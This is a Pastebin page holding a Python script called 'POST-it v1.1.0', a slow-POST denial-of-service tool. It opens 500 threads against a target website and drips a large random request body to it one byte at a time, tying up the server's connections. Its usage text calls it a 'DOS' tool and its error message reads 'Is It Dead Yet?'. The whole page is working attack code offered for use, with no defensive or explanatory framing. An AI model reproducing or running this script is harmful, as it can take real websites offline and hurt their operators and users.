Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import sys
- import os
- import socket
- import time
- import getopt
- import re
- from threading import Thread
- class MyThread(Thread,):
- def __init__(self,SITE, DOS_TYPE):
- Thread.__init__(self)
- self.method = DOS_TYPE
- self.site = SITE
- self.kill_received = False
- def run(self):
- while not self.kill_received:
- server = socket.gethostbyname(self.site)
- post = random_string = os.urandom(9001)
- file = 'index.php'
- request = '%s /%s HTTP/1.1\r\n' %(self.method.upper(),file)
- request += 'Host: %s\r\n' % (self.site)
- request += 'User-Agent: Mozilla/5.0 (Windows; U;Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026Firefox/3.6.12\r\n'
- request += 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
- request += 'Accept-Language: en-us,en;q=0.5\r\n'
- request += 'Accept-Encoding: gzip,deflate\r\n'
- request += 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n'
- request += 'Keep-Alive: 900\r\n'
- request += 'Connection: keep-alive\r\n'
- request += 'Content-Type: application/x-www-form-urlencoded\r\n'
- request += 'Content-length: %s\r\n\r\n' % (len(post))
- newrequest = '%s\r\n' % (post)
- newrequest += '\r\n'
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- s.connect((server, 80))
- s.send(request)
- for c in newrequest:
- sys.stdout.write( s.send(c).__str__() )
- time.sleep(60)
- s.close()
- #s.recv(50000)
- except:
- print "Is It Dead Yet?"
- def da_delegator(SITE,DOS_TYPE):
- thread_count = 500
- print '=' * 60
- print 'POST-it v1.1.0'.center(60,'-')
- print '=' * 60
- threads = []
- for num in range(thread_count):
- thr1=MyThread(SITE,DOS_TYPE)
- print 'start - %s' % thr1
- thr1.start()
- threads.append(thr1)
- #thr1.join()
- while len(threads) > 0:
- try:
- # Join all threads using a timeout so it doesn't block
- # Filter out threads which have been joined or are None
- threads = [t.join(1) for t in threads if t is not
- None and t.isAlive()]
- except KeyboardInterrupt:
- print "Ctrl-c received! Sending kill to threads... Just Kill The Terminal" # Need to fix this!!!
- for t in threads:
- t.kill_received = True
- sys.exit(2)
- def main(argv):
- def usage():
- print '=' * 60
- print 'POST-it v1.1.0'.center(60,'-')
- print '=' * 60
- print 'For get DOS - USAGE: postit.py -t get http://example.com'
- print 'For post DOS - USAGE: postit.py -t post http://example.com'
- sys.exit(2)
- if not argv:
- usage()
- try:
- opts, args = getopt.getopt(sys.argv[1:], "t:h", ["help",
- "type"])
- except getopt.GetoptError, err:
- print str(err)
- sys.exit(2)
- output = None
- verbose = False
- SITE = re.sub(r'http://', '', str(sys.argv[-1:][0]))
- for o, a in opts:
- if o == "-v":
- verbose = True
- elif o in ("-t", "--type"):
- if a.lower() == 'post':
- DOS_TYPE = 'POST'
- da_delegator(SITE,DOS_TYPE)
- elif a.lower() =='get':
- DOS_TYPE = 'get'
- da_delegator(SITE,DOS_TYPE)
- elif o in ("-h", "--help"):
- usage()
- sys.exit()
- else:
- assert False, "unhandled option"
- if __name__=="__main__":
- main(sys.argv[1:])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement